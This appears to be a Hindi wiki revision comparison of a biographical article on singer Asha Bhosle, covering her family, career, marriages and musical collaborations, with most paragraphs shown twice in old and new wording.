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*मशहूर पार्श्वगायक आशा भोंसले का जन्म [[8 सितम्बर]] [[1933]] को [[महाराष्ट्र]] के ‘सांगली’ में हुआ था। आशा भोंसले [[लता मंगेशकर]] की छोटी बहन और [[दीनानाथ मंगेशकर]] की पुत्री हैं।  
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'''आशा भोंसले''' ([[अंग्रेज़ी]]: ''Asha Bhosle'', जन्म: [[8 सितम्बर]], [[1933]]) मशहूर पार्श्वगायिका और [[लता मंगेशकर]] की छोटी बहन और दीनानाथ मंगेशकर की पुत्री हैं। आशा जी ने फ़िल्मी और ग़ैर फ़िल्मी जगत् के लगभग 16 हज़ार गाने गाए हैं और इनकी आवाज़ के प्रशंसक पूरी दुनिया में फैले हुए हैं। उन्होंने 800 से अधिक फ़िल्मों में दस हज़ार से ज़्यादा गाने गाए हैं। महान् भारतीय गायिका आशा भोंसले का नाम दुनिया में [[संगीत]] की 20 शीर्ष हस्तियों में शामिल किया गया है। सीएनएन के ज़रिये तैयार पिछले 50 सालों की [[संगीत]] की शीर्ष हस्तियों की इस सूची में आशा भोंसले का नाम आता है। गायन की विविधता से आशा ने अपने करियर के छह दशकों में ऊँचाई हासिल की। बड़ी बहन लता मंगेशकर की छत्रछाया में आशा जी ने पा‌र्श्वगायन प्रारंभ किया। [[1957]] में [[दिलीप कुमार]] और [[वैजयंतीमाला]] अभिनीत '[[नया दौर]]' फ़िल्म के 'मांग के साथ तुम्हारा' गीत से आशा जी ने लोकप्रियता हासिल की।<ref>{{cite web |url=http://www.nutansavera.com/new/index.php?option=com_content&view=article&id=1989:------------20-------------50-----------------------&catid=40:2009-10-21-05-59-27&Itemid=2 |title= आशा भोंसले विश्व संगीत की 20 हस्तियों में शामिल  |accessmonthday=[[21 सितम्बर]] |accessyear=[[2010]] |authorlink= |format= |publisher=नूतन सवेरा राष्ट्रीय हिन्दी साप्तहिक |language=[[हिन्दी]] }}</ref>
*आशा जी ने फ़िल्मी और ग़ैर फ़िल्मी जगत के लगभग 16 हजार गाने गाए हैं और इनकी आवाज़ के प्रशंसक पूरी दुनिया में फैले हुए हैं। उन्होंने 800 से अधिक फ़िल्मों में दस हजार से ज़्यादा गाने गाए हैं।  
 
*महान भारतीय गायिका आशा भोंसले का नाम दुनिया में [[संगीत]] की 20 शीर्ष हस्तियों में शामिल किया गया है। सीएनएन के ज़रिये तैयार पिछले 50 सालों की संगीत की शीर्ष हस्तियों की इस सूची में आशा भोंसले का नाम आता है।  
 
*गायन की विविधता से आशा ने अपने करियर के छह दशकों में ऊँचाई हासिल की। बड़ी बहन लता मंगेशकर की छत्रछाया में आशा जी ने पा‌र्श्वगायन प्रारंभ किया। [[1957]] में [[दिलीप कुमार]] और [[वैजयंतीमाला]] अभिनीत '[[नया दौर]]' फ़िल्म के 'मांग के साथ तुम्हारा' गीत से आशा जी ने लोकप्रियता हासिल की।<ref>{{cite web |url=http://www.nutansavera.com/new/index.php?option=com_content&view=article&id=1989:------------20-------------50-----------------------&catid=40:2009-10-21-05-59-27&Itemid=2 |title= आशा भोंसले विश्व संगीत की 20 हस्तियों में शामिल  |accessmonthday=[[21 सितम्बर]] |accessyear=[[2010]] |authorlink= |format= |publisher=नूतन सवेरा राष्ट्रीय हिन्दी साप्तहिक |language=[[हिन्दी]] }}</ref>
 
 
==जीवन परिचय==
 
==जीवन परिचय==
[[चित्र:Asha-Bhosle-1.jpg|left|250px|thumb| आशा भोंसले<br /> Asha Bhosle]]
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आशा भोंसले का जन्म [[8 सितम्बर]] [[1933]] को [[महाराष्ट्र]] के ‘सांगली’ में हुआ था। आशा भोंसले का नाम विश्व के सबसे जाने माने लोगों में आता है। आशा भोंसले का जन्म संगीत से जुड़े परिवार में हुआ था। आशा भोंसले के पिता दीनानाथ मंगेशकर प्रसिद्ध गायक एवं नायक थे। जिन्होंने [[शास्त्रीय संगीत]] की शिक्षा काफ़ी छोटी उम्र में ही आशा जी को दे दी थी। आशा जी जब केवल 9 वर्ष की थीं तब इनके पिता की मृत्यु हो गई। पिता के मरणोपरांत, आशा भोंसले जी का परिवार [[पुणे]] से कोल्हापुर और उसके बाद [[मुम्बई|बम्बई]] आ गया। [[चित्र:Asha-Bhosle-1.jpg|left|250px|thumb| आशा भोंसले<br /> Asha Bhosle]] परिवार की सहायता के लिए आशा और इनकी बड़ी बहन लता मंगेशकर ने गाना और फ़िल्मों में अभिनय शुरू कर दिया। आशा जी की बहनें [[लता मंगेशकर]] और उषा मंगेशकर गायिका है। आशा भोंसले जी की अन्य दो सहोदर बहन मीना मंगेशकर और भाई हृदयनाथ मंगेशकर संगीत निर्देशक है। आशा जी किनारों वाली सफ़ेद चमकदार साड़ी, व गले में मोतियों का हार पहनती हैं।  
आशा भोंसले का नाम विश्व के सबसे जानेमाने लोगों में आता है। आशा भोंसले का जन्म संगीत से जुड़े परिवार में हुआ था। आशा भोंसले के पिता दीनानाथ मंगेशकर प्रसिद्ध गायक एवं नायक थे। जिन्होंने [[शास्त्रीय संगीत]] की शिक्षा काफ़ी छोटी उम्र में ही आशा जी को दे दी थी। आशा जी जब केवल 9 वर्ष की थीं तब इनके पिता की मृत्यु हो गई। पिता के मरणोपरांत, आशा भोंसले जी का परिवार [[पुणे]] से कोल्हापुर और उसके बाद [[मुम्बई|बम्बई]] आ गया। परिवार की सहायता के लिए आशा और इनकी बड़ी बहन लता मंगेशकर ने गाना और फ़िल्मों में अभिनय शुरू कर दिया। आशा जी की बहनें लता मंगेशकर और [[उषा मंगेशकर]] गायिका है। आशा भोंसले जी की अन्य दो सहोदर बहन मीना मंगेशकर और भाई हृदयनाथ मंगेशकर संगीत निर्देशक है। आशा जी किनारों वाली सफ़ेद चमकदार साड़ी, व गले में मोतियों का हार पहनती हैं।  
 
 
==प्रसिद्ध गायिका==
 
==प्रसिद्ध गायिका==
बॉलीवुड का सबसे चमकीला सितारा आशा भोंसले पा‌र्श्वगायन की मलिका हैं। आशा जी के द्वारा 12000 से अधिक गीत गाए गये हैं। [[1943]] में आशा भोंसले जी ने अपनी पहली फ़िल्म (मराठी) ‘माझा बाळ’ में गीत गाया। यह गीत ‘चला चला नव बाळा...’ दत्ता दवाजेकर के द्वारा संगीतबद्ध किया गया था। [[1948]] में हिन्दी फ़िल्म ‘चुनरिया’ का गीत ‘सावन आया...’ हंसराज बहल के लिए गाया। दक्षिण [[एशिया]] की प्रसिद्ध गायिका के रूप में आशा जी ने गीत गाए। फ़िल्म संगीत, पॉप, गज़ल, भजन, भारतीय शास्त्रीय संगीत, क्षेत्रीय गीत, कव्वाली, रवीन्द्र संगीत और नजरूल गीत इनके गीतों में सम्मिलित हैं। इन्होंने 14 से ज़्यादा भाषाओं में गीत गाए जैसे– [[मराठी भाषा|मराठी]], [[असमिया भाषा|असमिया]], [[हिन्दी]], [[उर्दू भाषा|उर्दू]], [[तेलुगु भाषा|तेलुगु]], [[बांग्ला भाषा|बंगाली]], [[गुजराती भाषा|गुजराती]], [[पंजाबी भाषा|पंजाबी]], [[तमिल भाषा|तमिल]], [[अंग्रेज़ी भाषा|अंग्रेज़ी]], रशियन, जाइच, [[नेपाली भाषा|नेपाली]], मलय और [[मलयालम भाषा|मलयालम]] आदि।  
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बॉलीवुड का सबसे चमकीला सितारा आशा भोंसले पा‌र्श्वगायन की मलिका हैं। आशा जी के द्वारा 12000 से अधिक गीत गाए गये हैं। [[1943]] में आशा भोंसले जी ने अपनी पहली फ़िल्म (मराठी) ‘माझा बाळ’ में गीत गाया। यह गीत ‘चला चला नव बाळा...’ दत्ता दवाजेकर के द्वारा संगीतबद्ध किया गया था। [[1948]] में हिन्दी फ़िल्म ‘चुनरिया’ का गीत ‘सावन आया...’ हंसराज बहल के लिए गाया। दक्षिण [[एशिया]] की प्रसिद्ध गायिका के रूप में आशा जी ने गीत गाए। फ़िल्म संगीत, पॉप, गज़ल, भजन, [[भारतीय शास्त्रीय संगीत]], क्षेत्रीय गीत, कव्वाली, [[रवीन्द्र संगीत]] और नजरूल गीत इनके गीतों में सम्मिलित हैं। इन्होंने 14 से ज़्यादा भाषाओं में गीत गाए जैसे– [[मराठी भाषा|मराठी]], [[असमिया भाषा|असमिया]], [[हिन्दी]], [[उर्दू भाषा|उर्दू]], [[तेलुगु भाषा|तेलुगु]], [[बांग्ला भाषा|बंगाली]], [[गुजराती भाषा|गुजराती]], [[पंजाबी भाषा|पंजाबी]], [[तमिल भाषा|तमिल]], [[अंग्रेज़ी भाषा|अंग्रेज़ी]], रशियन, जाइच, [[नेपाली भाषा|नेपाली]], मलय और [[मलयालम भाषा|मलयालम]] आदि।
 
==वैवाहिक जीवन==
 
==वैवाहिक जीवन==
आशा भोंसले जी ने 16 वर्ष की उम्र में अपने 31 वर्षीय प्रेमी ‘गणपत राव भोंसले’ ([[1916]]-[[1966]]) के साथ घर से पलायन कर पारिवारिक इच्छा के विरूद्ध विवाह किया। गणपत राव लता जी के निजी सचिव थे। यह विवाह असफल रहा। पति एवं उनके भाइयों के बुरे बर्ताव के कारण इस विवाह का दु:खान्त हो गया। [[1960]] के आसपास विवाह विच्छेद के बाद आशा जी अपनी माँ के घर दो बच्चों और तीसरे गर्भस्थ शिशु (आनन्द) के साथ लौट आईं। [[1980]] ई. में आशा जी ने ‘[[राहुल देव वर्मन]]’ (पंचम) से विवाह किया। यह विवाह आशा जी ने राहुल देव वर्मन के अंतिम सांसो तक सफलतापूर्वक निभाया।  
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आशा भोंसले जी ने 16 वर्ष की उम्र में अपने 31 वर्षीय प्रेमी ‘गणपत राव भोंसले’ ([[1916]]-[[1966]]) के साथ घर से पलायन कर पारिवारिक इच्छा के विरुद्ध विवाह किया। गणपत राव लता जी के निजी सचिव थे। यह विवाह असफल रहा। पति एवं उनके भाइयों के बुरे बर्ताव के कारण इस विवाह का दु:खान्त हो गया। [[1960]] के आसपास विवाह विच्छेद के बाद आशा जी अपनी माँ के घर दो बच्चों और तीसरे गर्भस्थ शिशु (आनन्द) के साथ लौट आईं। [[1980]] ई. में आशा जी ने ‘[[राहुल देव बर्मन]]’ (पंचम) से विवाह किया। यह विवाह आशा जी ने राहुल देव वर्मन के अंतिम सांसो तक सफलतापूर्वक निभाया।
 
==व्यक्तित्व जीवन==
 
==व्यक्तित्व जीवन==
 
आशा जी का घर दक्षिण मुम्बई, पेडर रोड क्षेत्र में प्रभुकुंज अपार्टमेंट में स्थित है। आशा भोंसले जी के तीन बच्चे हैं। साथ ही पाँच पौत्र भी हैं। इनका सबसे बड़ा लड़का हेमंत भोंसले है। हेमंत ने पायलट के रूप में अधिकांश समय बिताया। आशाजी की बेटी “वर्षा” हैं जो हेमंत से छोटी हैं। वर्षा ने ‘द सनडे ऑबजरवर’ और ‘रेडिफ’ के लिए कॉलम लिखने का काम किया। आशाजी का सबसे छोटा पुत्र आनन्द भोंसले है। आनन्द ने व्यापार और फ़िल्म निर्देशन की पढाई की। आनन्द भोंसले ही आशा के करियर की इन दिनों देखभाल कर रहे है। हेमंत भोंसले के सबसे बड़े पुत्र चैतन्या (चिंटु) “बॉय बैण्ड” के सफल सदस्य के रूप में विश्व संगीत से जुड़े हुए है। अनिका भोंसले (हेमंत भोंसले की पुत्री) सफल फोटोग्राफर के रूप में कार्य कर रही हैं।
 
आशा जी का घर दक्षिण मुम्बई, पेडर रोड क्षेत्र में प्रभुकुंज अपार्टमेंट में स्थित है। आशा भोंसले जी के तीन बच्चे हैं। साथ ही पाँच पौत्र भी हैं। इनका सबसे बड़ा लड़का हेमंत भोंसले है। हेमंत ने पायलट के रूप में अधिकांश समय बिताया। आशाजी की बेटी “वर्षा” हैं जो हेमंत से छोटी हैं। वर्षा ने ‘द सनडे ऑबजरवर’ और ‘रेडिफ’ के लिए कॉलम लिखने का काम किया। आशाजी का सबसे छोटा पुत्र आनन्द भोंसले है। आनन्द ने व्यापार और फ़िल्म निर्देशन की पढाई की। आनन्द भोंसले ही आशा के करियर की इन दिनों देखभाल कर रहे है। हेमंत भोंसले के सबसे बड़े पुत्र चैतन्या (चिंटु) “बॉय बैण्ड” के सफल सदस्य के रूप में विश्व संगीत से जुड़े हुए है। अनिका भोंसले (हेमंत भोंसले की पुत्री) सफल फोटोग्राफर के रूप में कार्य कर रही हैं।
 
[[चित्र:Asha-Bhosle-2.jpg|250px|thumb| आशा भोंसले<br /> Asha Bhosle]]
 
[[चित्र:Asha-Bhosle-2.jpg|250px|thumb| आशा भोंसले<br /> Asha Bhosle]]
====<u>जीवन के संघर्ष</u>====
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====जीवन के संघर्ष====
एक समय जब प्रसिद्ध गायिका यथा- [[गीता दत]], [[शमशाद बेगम]] और लता मंगेशकर का ज़माना था। चारो ओर इन्हीं का प्रभुत्व था। आशा जी गाना चाहती थी पर इन्हें गाने का मौक़ा तक नहीं दिया जाता था। आशा जी सिर्फ दूसरे दर्जें की फ़िल्मों के लिए ही गा पाती थी। [[1950]] के दशक में बॉलीवुड के अन्य गायिकाओं की तुलना में आशा जी ने कम बजट की ‘बी’ और ‘सी’ ग्रेड फ़िल्मों के लिए बहुत से गीत गाए। इनके गीतों के संगीतकार ए. आर. कुरैशी ([[अल्ला रख्खा खान]]), [[सज्जाद हुसैन]] और [[गुलाम मोहम्मद]] थे। जो काफ़ी असफल रहे। [[1952]] ई. में [[दिलीप कुमार]] अभिनीत फ़िल्म ‘संगदिल’ जिसके संगीतकार सज्जाद हुसैन थे, ने प्रसिद्धि दिलाई। परिणाम स्वरूप [[विमल राय]] ने एक मौक़ा आशा जी को अपनी फ़िल्म ‘परिणीता’ (1953) के लिए दिया। [[राज कपूर]] ने गीत ‘नन्हे मुन्ने बच्चे....’ के लिए [[मोहम्मद रफी]] के साथ फ़िल्म ‘बूट पॉलिश’ ([[1954]]) के लिए अनुबंधित किया जिसने काफ़ी प्रसिद्धि आशा जी को दिलाई। [[ओ.पी. नैयर]] ने आशा जी को बहुत बड़ा अवसर ‘सी. आई. डी.’(1956) के गीत गाने के लिए दिया। इस प्रकार 1957 की फ़िल्म ‘नया दौर’ [[बी. आर. चोपड़ा]] ने नैयर साहब के संगीतकार रूप में आशा जी को बी. आर. चोपड़ा से पहली सफलता प्राप्त हुई। इस साझेदारी ने कई प्रसिद्ध गीतों को जनमानस के बीच लाने में महत्त्वपूर्ण योगदान दिया। फिर [[सचिन देव वर्मन]] और रवि जैसे संगीतकारो ने भी आशा जी को मौक़ा दिया। [[1966]] ई. में संगीतकार आर. डी. वर्मन की सफलतम फ़िल्म ‘तीसरी मंजिल’ में आशा जी ने आर. डी. वर्मन के साथ काफ़ी प्रसिद्धि बटोरी। [[1960]] से [[1970]] के बीच प्रसिद्ध डॉसर हेलन की आवाज बनी। ऐसा कहा जाता है कि जब भी आशा जी गाती थी तो [[हेलन]] रिकाडिंग के समय मौजूद रहती थी ताकि गाने को अच्छी तरह समझ सके और अच्छी तरह नृत्य उस गाने पर कर सके।
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एक समय जब प्रसिद्ध गायिका यथा- [[गीता दत्त]], [[शमशाद बेगम]] और लता मंगेशकर का ज़माना था। चारो ओर इन्हीं का प्रभुत्व था। आशा जी गाना चाहती थी पर इन्हें गाने का मौक़ा तक नहीं दिया जाता था। आशा जी सिर्फ़ दूसरे दर्जें की फ़िल्मों के लिए ही गा पाती थी। [[1950]] के दशक में बॉलीवुड के अन्य गायिकाओं की तुलना में आशा जी ने कम बजट की ‘बी’ और ‘सी’ ग्रेड फ़िल्मों के लिए बहुत से गीत गाए। इनके गीतों के संगीतकार ए. आर. कुरैशी ([[अल्ला रक्खा खान]]), सज्जाद हुसैन और ग़ुलाम मोहम्मद थे। जो काफ़ी असफल रहे। [[1952]] ई. में [[दिलीप कुमार]] अभिनीत फ़िल्म ‘संगदिल’ जिसके संगीतकार सज्जाद हुसैन थे, ने प्रसिद्धि दिलाई। परिणाम स्वरूप [[विमल राय]] ने एक मौक़ा आशा जी को अपनी फ़िल्म ‘परिणीता’ (1953) के लिए दिया। [[राज कपूर]] ने गीत ‘नन्हे मुन्ने बच्चे....’ के लिए [[मोहम्मद रफी]] के साथ फ़िल्म ‘बूट पॉलिश’ ([[1954]]) के लिए अनुबंधित किया जिसने काफ़ी प्रसिद्धि आशा जी को दिलाई। [[ओ.पी. नैयर]] ने आशा जी को बहुत बड़ा अवसर ‘सी. आई. डी.’(1956) के गीत गाने के लिए दिया। इस प्रकार 1957 की फ़िल्म ‘नया दौर’ [[बी. आर. चोपड़ा]] ने नैयर साहब के संगीतकार रूप में आशा जी को बी. आर. चोपड़ा से पहली सफलता प्राप्त हुई। इस साझेदारी ने कई प्रसिद्ध गीतों को जनमानस के बीच लाने में महत्त्वपूर्ण योगदान दिया। फिर [[सचिन देव बर्मन]] और रवि जैसे संगीतकारो ने भी आशा जी को मौक़ा दिया। [[1966]] ई. में संगीतकार आर. डी. बर्मन की सफलतम फ़िल्म ‘तीसरी मंज़िल’ में आशा जी ने आर. डी. बर्मन के साथ काफ़ी प्रसिद्धि बटोरी। [[1960]] से [[1970]] के बीच प्रसिद्ध डांसर हेलन की आवाज़ बनी। ऐसा कहा जाता है कि जब भी आशा जी गाती थीं तो [[हेलन]] रिकाडिंग के समय मौजूद रहती थीं ताकि गाने को अच्छी तरह समझ सकें और अच्छी तरह नृत्य उस गाने पर कर सकें।
 
 
 
==संगीत में प्रंशसा==
 
==संगीत में प्रंशसा==
संगीतकार ओ.पी. नैयर की साझेदारी ने आशा भोंसले जी को एक ख़ास पहचान दिलाया। कई लोगों ने इनकी आपसी संबंध को प्रेम संबंध मान लिया। नैयर जी पहली बार 1952 में आशा जी से एक गीत 'छम छमा छम...' के संगीत रिकार्डिग के समय मिलें। पहली बार इन्होनें फ़िल्म ‘माँगू’ (1954) के लिए आशा जी को बुलाया। फिर इन्होनें एक बहुत बड़ा मौक़ा फ़िल्म सी.आई.डी. ([[1956]]) में आशा जी को दिया। इस प्रकार नया दौर ([[1957]]) की सफलता ने इन दोनो की प्रसिद्धी को बढ़ाया। 1959 के बाद भावनात्मक और व्यावसायिक तौर पर आशा जी नैयर जी के साथ जुड़ी रहीं। ओ.पी.नैयर और आशा भोंसले की यादगार फ़िल्मे यथा- [[मधुबाला]] पर फ़िल्मांकित गीत ‘आईये मेहरबाँ...’ ([[हावड़ा ब्रिज]]-[[1958]]) और [[मुमताज़]] पर फ़िल्मांकित गीत ‘ये है रेशमी जुल्फों का अंधेरा... ([[मेरे सनम]]-[[1965]]) आदि है। ओ.पी. नैयर ने कई हिट गीतों को आशा जी के साथ रिकार्ड किया यथा- नया दौर(1957), तुमसा नहीं देखा(1957), हावड़ा ब्रिज (1958), एक मुसाफ़िर एक हसीना(1962), कश्मीर की कली(1964) आदि। इनकी साझेदारी की कुछ प्रसिद्ध गीत- आओ हुजुर तुमको...(क़िस्मत), जाईये आप कहाँ जाएगे...(मेरे सनम) आदि है। ओ.पी.नैयर की मो. रफी एवं आशा जी के साथ युगल गीत काफ़ी प्रसिद्ध हुए। इनके द्वारा गाए कुछ प्रमुख युगल गीत ‘उडे जब जब जुल्फें तेरी...(नया दौर), मै प्यार का राही हूँ...(एक मुसाफ़िर एक हसीना), दिवाना हुआ बादल..., इशारों इशारों में...(काश्मीर की कली) आदि। [[5 अगस्त]] [[1972]] को दोनो में अलगाव हो गया। यह स्पष्ट नहीं हो पाया की किन कारणों से दोनों में अलगाव हुआ।<br />
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संगीतकार ओ.पी. नैयर की साझेदारी ने आशा भोंसले जी को एक ख़ास पहचान दिलाया। कई लोगों ने इनकी आपसी संबंध को प्रेम संबंध मान लिया। नैयर जी पहली बार 1952 में आशा जी से एक गीत 'छम छमा छम...' के संगीत रिकार्डिग के समय मिलें। पहली बार इन्होनें फ़िल्म ‘माँगू’ (1954) के लिए आशा जी को बुलाया। फिर इन्होनें एक बहुत बड़ा मौक़ा फ़िल्म सी.आई.डी. ([[1956]]) में आशा जी को दिया। इस प्रकार नया दौर ([[1957]]) की सफलता ने इन दोनो की प्रसिद्धी को बढ़ाया। 1959 के बाद भावनात्मक और व्यावसायिक तौर पर आशा जी नैयर जी के साथ जुड़ी रहीं। ओ.पी.नैयर और आशा भोंसले की यादगार फ़िल्मे यथा- [[मधुबाला]] पर फ़िल्मांकित गीत ‘आईये मेहरबाँ...’ ([[हावड़ा ब्रिज]]-[[1958]]) और [[मुमताज़]] पर फ़िल्मांकित गीत ‘ये है रेशमी जुल्फों का अंधेरा... (मेरे सनम-[[1965]]) आदि है। ओ.पी. नैयर ने कई हिट गीतों को आशा जी के साथ रिकार्ड किया यथा- नया दौर(1957), तुमसा नहीं देखा(1957), हावड़ा ब्रिज (1958), एक मुसाफ़िर एक हसीना(1962), कश्मीर की कली(1964) आदि। इनकी साझेदारी की कुछ प्रसिद्ध गीत- आओ हुजुर तुमको...(क़िस्मत), जाईये आप कहाँ जाएगे...(मेरे सनम) आदि है। ओ.पी.नैयर की मो. रफी एवं आशा जी के साथ युगल गीत काफ़ी प्रसिद्ध हुए। इनके द्वारा गाए कुछ प्रमुख युगल गीत ‘उडे जब जब जुल्फें तेरी...(नया दौर), मै प्यार का राही हूँ...(एक मुसाफ़िर एक हसीना), दिवाना हुआ बादल..., इशारों इशारों में...(काश्मीर की कली) आदि। [[5 अगस्त]] [[1972]] को दोनो में अलगाव हो गया। यह स्पष्ट नहीं हो पाया की किन कारणों से दोनों में अलगाव हुआ।<br />
आशा जी और हेलन के प्रसिद्ध गीतों में ‘पिया तू अब तो आजा...’(कारवॉ), ‘ ओ हसीना जुल्फ़ों वाली...’(तीसरी मंजिल) और ‘ये मेरा दिल...(डॉन) शामिल है। [[1981]] में [[उमराव जान]] और [[इजाज़त]] ([[1987]]) में पारम्परिक गज़ल गाकर आशा जी ने आलोचकों को करारा जबाब दिया तथा अपनी गायन प्रतिभा का लोहा मनवाया। इन्हीं दिनों इन्हें उपरोक्त दोनों फ़िल्म के लिए राष्ट्रीय फ़िल्म पुरस्कार ‘बेस्ट फ़िमेल प्लेबैक सिंगर’ मिला। आशा जी [[1990]] तक लगातार गाती रही। [[1995]] की हिट फ़िल्म ‘[[रंगीला]]’ से एक बार पुन: अपनी दूसरी पारी का आरंभ किया। [[2005]] में 72 वर्षीय आशा जी ने तमिल फ़िल्म ‘चन्द्रमुखी’ और पॉप संगीत ‘लक्की लिप्स...’ सलमान खान अभिनित के लिए गाया जो चार्ट बस्टर में प्रसिद्ध रहा। अक्टूबर [[2004]], ’द वेरी बेस्ट ऑफ आशा भोंसले’, ‘द क्वीन ऑफ बॉलीवुड’ आशा जी के द्वारा गाए गीतों का एलबम ([[1966]]-[[2003]]) रिलिज किया गया।  
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आशा जी और हेलन के प्रसिद्ध गीतों में ‘पिया तू अब तो आजा...’(कारवॉ), ‘ ओ हसीना जुल्फ़ों वाली...’(तीसरी मंजिल) और ‘ये मेरा दिल...(डॉन) शामिल है। [[1981]] में उमराव जान और इजाज़त ([[1987]]) में पारम्परिक गज़ल गाकर आशा जी ने आलोचकों को करारा जबाब दिया तथा अपनी गायन प्रतिभा का लोहा मनवाया। इन्हीं दिनों इन्हें उपरोक्त दोनों फ़िल्म के लिए राष्ट्रीय फ़िल्म पुरस्कार ‘बेस्ट फ़िमेल प्लेबैक सिंगर’ मिला। आशा जी [[1990]] तक लगातार गाती रही। [[1995]] की हिट फ़िल्म ‘रंगीला’ से एक बार पुन: अपनी दूसरी पारी का आरंभ किया। [[2005]] में 72 वर्षीय आशा जी ने तमिल फ़िल्म ‘चन्द्रमुखी’ और पॉप संगीत ‘लक्की लिप्स...’ सलमान ख़ान अभिनित के लिए गाया जो चार्ट बस्टर में प्रसिद्ध रहा। अक्टूबर [[2004]], ’द वेरी बेस्ट ऑफ आशा भोंसले’, ‘द क्वीन ऑफ बॉलीवुड’ आशा जी के द्वारा गाए गीतों का एलबम ([[1966]]-[[2003]]) रिलिज किया गया।
 
 
 
==मराठी संगीत==
 
==मराठी संगीत==
 
लता मंगेशकर के साथ आशा जी मराठी संगीत की सिरमौर रही है क्योंकि मराठी उनकी मातृभाषा है। आशा जी मराठी भाषा के अनेकों गीत गा चुकी है जिनमें प्रसिद्ध कविओं के कविता है, जो भाव गीत के रूप में प्रसिद्ध है। यथा प्रसिद्ध एलबन ‘रूतु हिरावा’ (‘ग्रीन सीजन’) जो श्रीधर पाडके द्वारा रचित है। अपने भाई हृदयनाथ मंगेशकर द्वारा संगीतबद्ध आशा जी के कई प्रसिद्ध गीत है। आशा जी द्वारा गाए मराठी भजन काफ़ी प्रचलित और प्रसिद्ध है।<ref>{{cite web |url=http://www.pressnote.in/profile---asha-bhosale_92650.html |title= आशा भोंसले - जन्म दिन विशेष |accessmonthday=[[21 सितम्बर]] |accessyear=[[2010]] |authorlink= |format=एच.टी.एम.एल |publisher=प्रेसनोट डाट इन|language=[[हिन्दी]] }}</ref>
 
लता मंगेशकर के साथ आशा जी मराठी संगीत की सिरमौर रही है क्योंकि मराठी उनकी मातृभाषा है। आशा जी मराठी भाषा के अनेकों गीत गा चुकी है जिनमें प्रसिद्ध कविओं के कविता है, जो भाव गीत के रूप में प्रसिद्ध है। यथा प्रसिद्ध एलबन ‘रूतु हिरावा’ (‘ग्रीन सीजन’) जो श्रीधर पाडके द्वारा रचित है। अपने भाई हृदयनाथ मंगेशकर द्वारा संगीतबद्ध आशा जी के कई प्रसिद्ध गीत है। आशा जी द्वारा गाए मराठी भजन काफ़ी प्रचलित और प्रसिद्ध है।<ref>{{cite web |url=http://www.pressnote.in/profile---asha-bhosale_92650.html |title= आशा भोंसले - जन्म दिन विशेष |accessmonthday=[[21 सितम्बर]] |accessyear=[[2010]] |authorlink= |format=एच.टी.एम.एल |publisher=प्रेसनोट डाट इन|language=[[हिन्दी]] }}</ref>
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*दूसरा गीत है, "सबा से ये कह दो कि कलियाँ बिछायें"
 
*दूसरा गीत है, "सबा से ये कह दो कि कलियाँ बिछायें"
 
*तीसरा अनमोल नग्मा है, "कोई शिकवा भी नहीं"
 
*तीसरा अनमोल नग्मा है, "कोई शिकवा भी नहीं"
 
 
==अभिनय==
 
==अभिनय==
आशा भोंसले जी ने दो फ़िल्मों में काम किया। जिसमें एक हिन्दी फ़िल्म बड़ी मामी और एक मराठी फ़िल्म हैं। लेकिन अभिनय में उनकी ज़्यादा रूचि नहीं थी। उन्हें लगा कि अभिनय से अच्छा गाना है।
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आशा भोंसले जी ने दो फ़िल्मों में काम किया। जिसमें एक हिन्दी फ़िल्म बड़ी मामी और एक मराठी फ़िल्म हैं। लेकिन अभिनय में उनकी ज़्यादा रुचि नहीं थी। उन्हें लगा कि अभिनय से अच्छा गाना है।
 
==पहला गाना==
 
==पहला गाना==
 
लता मंगेशकर एक मराठी फ़िल्म माझा बाड़ में काम कर रही थी। उसमें आशा भोंसले जी को गाने का मौक़ा मिला। उसके बाद ‘अंधों की दुनिया’ में बसंत देसाई ने आशा भोंसले जी को गाने का मौक़ा दिया। हंसराज बहल ने आशा भोंसले जी को हिन्दी फ़िल्म में पहली बार किसी अभिनेत्री के लिए गाने का मौक़ा दिया।  
 
लता मंगेशकर एक मराठी फ़िल्म माझा बाड़ में काम कर रही थी। उसमें आशा भोंसले जी को गाने का मौक़ा मिला। उसके बाद ‘अंधों की दुनिया’ में बसंत देसाई ने आशा भोंसले जी को गाने का मौक़ा दिया। हंसराज बहल ने आशा भोंसले जी को हिन्दी फ़िल्म में पहली बार किसी अभिनेत्री के लिए गाने का मौक़ा दिया।  
 
==आशा भोंसले की नज़र में संगीत==
 
==आशा भोंसले की नज़र में संगीत==
{{highright}}संगीत समंदर की तरह हैं। इसमें कितना ही घुसेंगे उतना कम हैं। मेरा आज भी मानना हैं कि मैं संगीत का कुछ नहीं जानती। संगीत मेरी साँसों में बसा हुआ है। लोग कहते हैं कि संगीत छोड़ दो तो मेरा जवाब होता है कि साँस लेना कैसे छोड़ दूँ। जब तक आवाज़ है तब तक गाऊँगी। शायद आवाज़ और मैं साथ में दुनिया से जाएँगे - '''आशा भोंसले'''{{highclose}}
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{{दाँयाबक्सा|पाठ=संगीत समंदर की तरह हैं। इसमें कितना ही घुसेंगे उतना कम हैं। मेरा आज भी मानना हैं कि मैं संगीत का कुछ नहीं जानती। संगीत मेरी साँसों में बसा हुआ है। लोग कहते हैं कि संगीत छोड़ दो तो मेरा जवाब होता है कि साँस लेना कैसे छोड़ दूँ। जब तक आवाज़ है तब तक गाऊँगी। शायद आवाज़ और मैं साथ में दुनिया से जाएँगे - '''आशा भोंसले'''|विचारक=}}
 
एक साक्षात्कार में आशा भोंसले जी ने कहा हैं कि 'संगीत समंदर की तरह हैं। इसमें कितना ही घुसेंगे उतना कम हैं। मेरा आज भी मानना हैं कि मैं संगीत का कुछ नहीं जानती। संगीत मेरी साँसों में बसा हुआ है। लोग कहते हैं कि संगीत छोड़ दो तो मेरा जवाब होता है कि साँस लेना कैसे छोड़ दूँ। जब तक आवाज़ है तब तक गाऊँगी। शायद आवाज़ और मैं साथ में दुनिया से जाएँगे।'
 
एक साक्षात्कार में आशा भोंसले जी ने कहा हैं कि 'संगीत समंदर की तरह हैं। इसमें कितना ही घुसेंगे उतना कम हैं। मेरा आज भी मानना हैं कि मैं संगीत का कुछ नहीं जानती। संगीत मेरी साँसों में बसा हुआ है। लोग कहते हैं कि संगीत छोड़ दो तो मेरा जवाब होता है कि साँस लेना कैसे छोड़ दूँ। जब तक आवाज़ है तब तक गाऊँगी। शायद आवाज़ और मैं साथ में दुनिया से जाएँगे।'
 
==प्रसिद्ध जोड़ी==
 
==प्रसिद्ध जोड़ी==
